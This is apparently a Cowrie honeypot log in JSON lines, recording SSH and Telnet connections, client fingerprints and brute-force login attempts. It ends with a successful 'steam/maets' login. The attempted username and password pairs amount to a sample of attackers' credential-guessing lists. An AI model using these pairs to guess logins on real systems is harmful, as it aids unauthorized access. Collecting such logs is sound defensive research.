{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":38460,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bbd37c1b552","protocol":"ssh","message":"New connection: 103.15.222.183:38460 (159.203.135.109:22) [session: 9bbd37c1b552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:51.820330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:51.825189Z","src_ip":"103.15.222.183","session":"9bbd37c1b552","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:52.071012Z","src_ip":"103.15.222.183","session":"9bbd37c1b552","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rafiq3535","message":"login attempt [root/rafiq3535] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:52.806019Z","src_ip":"103.15.222.183","session":"9bbd37c1b552","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:52.932672Z","src_ip":"150.109.20.59","session":"b85234d73246","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:29:54.053927Z","src_ip":"103.15.222.183","session":"9bbd37c1b552","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.90.78","src_port":34140,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dbd9406eade","protocol":"ssh","message":"New connection: 43.173.90.78:34140 (159.203.135.109:22) [session: 6dbd9406eade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:14.819412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:14.824322Z","src_ip":"43.173.90.78","session":"6dbd9406eade","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:14.893257Z","src_ip":"43.173.90.78","session":"6dbd9406eade","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234Zxcv","message":"login attempt [root/1234Zxcv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:15.211055Z","src_ip":"43.173.90.78","session":"6dbd9406eade","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:16.283295Z","src_ip":"43.173.90.78","session":"6dbd9406eade","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":39608,"dst_ip":"10.17.0.5","dst_port":22,"session":"052b3ccae330","protocol":"ssh","message":"New connection: 115.91.48.142:39608 (10.17.0.5:22) [session: 052b3ccae330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:24.392379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:24.397799Z","src_ip":"115.91.48.142","session":"052b3ccae330","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:24.604956Z","src_ip":"115.91.48.142","session":"052b3ccae330","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:25.463838Z","src_ip":"115.91.48.142","session":"052b3ccae330","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:26.675660Z","src_ip":"115.91.48.142","session":"052b3ccae330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":50738,"dst_ip":"159.203.135.109","dst_port":22,"session":"39f71a794ed2","protocol":"ssh","message":"New connection: 193.32.162.151:50738 (159.203.135.109:22) [session: 39f71a794ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:28.695360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:28.700407Z","src_ip":"193.32.162.151","session":"39f71a794ed2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:28.803924Z","src_ip":"193.32.162.151","session":"39f71a794ed2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mapper","password":"mappr","message":"login attempt [mapper/mappr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:29.106857Z","src_ip":"193.32.162.151","session":"39f71a794ed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:30.217539Z","src_ip":"193.32.162.151","session":"39f71a794ed2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":60776,"dst_ip":"10.17.0.5","dst_port":22,"session":"afa787199e7d","protocol":"ssh","message":"New connection: 103.77.242.62:60776 (10.17.0.5:22) [session: afa787199e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:32.802316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:32.806253Z","src_ip":"103.77.242.62","session":"afa787199e7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:33.040774Z","src_ip":"103.77.242.62","session":"afa787199e7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"olenka","message":"login attempt [root/olenka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:33.744892Z","src_ip":"103.77.242.62","session":"afa787199e7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:34.982509Z","src_ip":"103.77.242.62","session":"afa787199e7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.226.140.80","src_port":11328,"dst_ip":"10.17.0.5","dst_port":23,"session":"2865530a24b3","protocol":"telnet","message":"New connection: 5.226.140.80:11328 (10.17.0.5:23) [session: 2865530a24b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:37.091934Z"}
{"eventid":"cowrie.session.closed","duration":10.002529859542847,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:47.094349Z","src_ip":"5.226.140.80","session":"2865530a24b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":47262,"dst_ip":"10.17.0.5","dst_port":22,"session":"2efa960ea300","protocol":"ssh","message":"New connection: 2.57.121.25:47262 (10.17.0.5:22) [session: 2efa960ea300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:56.145441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:56.150090Z","src_ip":"2.57.121.25","session":"2efa960ea300","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:56.253794Z","src_ip":"2.57.121.25","session":"2efa960ea300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15051977","message":"login attempt [user/15051977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:56.742639Z","src_ip":"2.57.121.25","session":"2efa960ea300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15021972","message":"login attempt [user/15021972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:57.849684Z","src_ip":"2.57.121.25","session":"2efa960ea300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1478520","message":"login attempt [user/1478520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:30:58.957391Z","src_ip":"2.57.121.25","session":"2efa960ea300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"145632","message":"login attempt [user/145632] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:00.065100Z","src_ip":"2.57.121.25","session":"2efa960ea300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14111981","message":"login attempt [user/14111981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:01.172654Z","src_ip":"2.57.121.25","session":"2efa960ea300","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:02.280835Z","src_ip":"2.57.121.25","session":"2efa960ea300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":55064,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f5a4492dc8d","protocol":"ssh","message":"New connection: 94.159.98.239:55064 (159.203.135.109:22) [session: 6f5a4492dc8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:06.290381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:06.368534Z","src_ip":"94.159.98.239","session":"6f5a4492dc8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:06.470771Z","src_ip":"94.159.98.239","session":"6f5a4492dc8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfgh1","message":"login attempt [root/asdfgh1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:07.055738Z","src_ip":"94.159.98.239","session":"6f5a4492dc8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:08.274255Z","src_ip":"94.159.98.239","session":"6f5a4492dc8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":55590,"dst_ip":"10.17.0.5","dst_port":22,"session":"42d6fd913a57","protocol":"ssh","message":"New connection: 150.109.20.59:55590 (10.17.0.5:22) [session: 42d6fd913a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:12.061011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:12.066230Z","src_ip":"150.109.20.59","session":"42d6fd913a57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:12.311836Z","src_ip":"150.109.20.59","session":"42d6fd913a57","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"maets","message":"login attempt [steam/maets] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:13.323477Z","src_ip":"150.109.20.59","session":"42d6fd913a57","protocol":"ssh"}
